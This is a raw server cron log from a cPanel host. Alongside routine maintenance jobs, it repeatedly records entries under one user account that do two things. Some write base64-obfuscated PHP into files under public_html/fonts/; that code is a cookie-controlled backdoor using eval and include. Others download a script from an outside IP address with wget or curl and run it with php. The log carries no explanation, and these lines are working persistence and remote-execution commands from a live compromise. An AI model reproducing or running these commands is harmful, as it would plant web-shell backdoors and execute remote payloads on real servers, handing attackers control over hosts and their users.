Sep  5 23:04:01 ip-184-168-122-23 CROND[7342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:05:01 ip-184-168-122-23 CROND[7528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:05:01 ip-184-168-122-23 CROND[7533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:05:01 ip-184-168-122-23 CROND[7535]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:05:01 ip-184-168-122-23 CROND[7530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:05:01 ip-184-168-122-23 CROND[7534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:05:01 ip-184-168-122-23 CROND[7531]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 23:05:01 ip-184-168-122-23 CROND[7532]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:06:01 ip-184-168-122-23 CROND[7697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:06:01 ip-184-168-122-23 CROND[7694]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:06:01 ip-184-168-122-23 CROND[7696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:06:01 ip-184-168-122-23 CROND[7698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:06:01 ip-184-168-122-23 CROND[7695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:07:01 ip-184-168-122-23 CROND[7791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:07:01 ip-184-168-122-23 CROND[7793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:07:01 ip-184-168-122-23 CROND[7794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:07:01 ip-184-168-122-23 CROND[7795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:08:01 ip-184-168-122-23 CROND[7877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:08:01 ip-184-168-122-23 CROND[7881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:08:01 ip-184-168-122-23 CROND[7882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:08:01 ip-184-168-122-23 CROND[7880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:08:01 ip-184-168-122-23 CROND[7879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:09:01 ip-184-168-122-23 CROND[7959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:09:01 ip-184-168-122-23 CROND[7960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:09:01 ip-184-168-122-23 CROND[7961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:09:01 ip-184-168-122-23 CROND[7963]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 23:09:01 ip-184-168-122-23 CROND[7962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:10:01 ip-184-168-122-23 CROND[8052]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 23:10:01 ip-184-168-122-23 CROND[8055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:10:01 ip-184-168-122-23 CROND[8056]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:10:01 ip-184-168-122-23 CROND[8057]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:10:01 ip-184-168-122-23 CROND[8059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:10:01 ip-184-168-122-23 CROND[8062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:10:01 ip-184-168-122-23 CROND[8060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:10:01 ip-184-168-122-23 CROND[8063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:11:01 ip-184-168-122-23 CROND[8155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:11:01 ip-184-168-122-23 CROND[8158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:11:01 ip-184-168-122-23 CROND[8156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:11:01 ip-184-168-122-23 CROND[8157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:12:01 ip-184-168-122-23 CROND[8251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:12:01 ip-184-168-122-23 CROND[8254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:12:01 ip-184-168-122-23 CROND[8255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:12:01 ip-184-168-122-23 CROND[8252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:12:01 ip-184-168-122-23 CROND[8253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:13:01 ip-184-168-122-23 CROND[8426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:13:01 ip-184-168-122-23 CROND[8427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:13:01 ip-184-168-122-23 CROND[8429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:13:01 ip-184-168-122-23 CROND[8430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:14:01 ip-184-168-122-23 CROND[8517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:14:01 ip-184-168-122-23 CROND[8519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:14:01 ip-184-168-122-23 CROND[8520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:14:01 ip-184-168-122-23 CROND[8518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:14:01 ip-184-168-122-23 CROND[8521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:15:01 ip-184-168-122-23 CROND[8628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:15:01 ip-184-168-122-23 CROND[8630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:15:01 ip-184-168-122-23 CROND[8631]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:15:01 ip-184-168-122-23 CROND[8632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:15:01 ip-184-168-122-23 CROND[8633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:15:01 ip-184-168-122-23 CROND[8634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:16:01 ip-184-168-122-23 CROND[8722]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:16:01 ip-184-168-122-23 CROND[8725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:16:01 ip-184-168-122-23 CROND[8727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:16:01 ip-184-168-122-23 CROND[8723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
